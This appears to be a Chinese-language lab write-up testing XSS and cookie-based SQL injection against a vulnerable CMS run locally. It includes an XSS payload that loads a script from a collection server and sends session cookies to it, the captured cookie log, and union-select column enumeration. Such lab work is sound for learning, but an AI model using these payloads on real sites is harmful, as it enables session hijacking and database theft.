在本地搭建一個存在漏洞的網站,驗證xss漏洞和SQL注入的利用方法。
使用phpStudy工具搭建一個美食CMS網站平台。
0x01 xss測試
打開調試模式,定位姓名欄輸入框:
嘗試在value中插入xss攻擊代碼:
123"><script>alert(document.cookie);</script></td><td>
點擊更新,成功彈出該網站登錄后的cookie信息。說明這個輸入框沒有對<script>標簽進行過濾。
如果希望將這個cookie發到自己的xss平台,可以構造如下輸入:
" /></td><script src=\"http://127.0.0.1:9999/static/get.js\"></script><td>
http://127.0.0.1:9999/static/get.js為本地xss平台中獲取cookie等信息的代碼。
可以在本地看到如下信息:包括cookie,user_agent,ipaddress等信息。
id: 2J1h
location: http://www.xdcms.com/index.php?m=member&f=edit
toplocation: http://www.xdcms.com/index.php?m=member&f=edit
cookie: PHPSESSID=7urapqfnc9cchs31lfu38u0pi4; member_user=xdcms; member_userid=3
opener:
http_user_agent Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
http_addr 127.0.0.1
[30/Oct/2017 16:04:36] "GET /?do=api&id=2J1h&location=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&toplocation=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&cookie=PHPSESSID%3D7urapqfnc9cchs31lfu38u0pi4%3B%20member_user%3Dxdcms%
3B%20member_userid%3D3&opener= HTTP/1.1" 200 3
查看后台數據庫,發現該段代碼被寫入了數據庫,不知道是否算存儲型xss???總之,這樣每次刷新頁面時,都會向xss平台發送cookie信息。
0x02 sql注入測試
走讀后台php的代碼,發現該輸入界面與mysql的交互語句:
輸入參數$userid來自cookie的member_userid參數,因此這里采用cookie注入的方法。
下載一個cookie修改插件,修改member_userid
member_userid=1的時候,姓名為test,可見可以通過修改這個cookie值讀取數據庫。
使用union select嘗試獲取更多數據庫信息。
測試發現member_userid=4的時候,姓名電話為空,說明數據庫只有3條記錄;
union select 1,2,……時,出現如下報錯:
have a different number of columns,說明union select的列數與表的列數不相等,嘗試發現到15的時候才不出現報錯:
從該顯示可以看出,用戶名,手機號碼,姓名,安全郵箱,聯系地址分別為表的第3,13,12,15,14列。可以在這些地方輸出數據庫信息。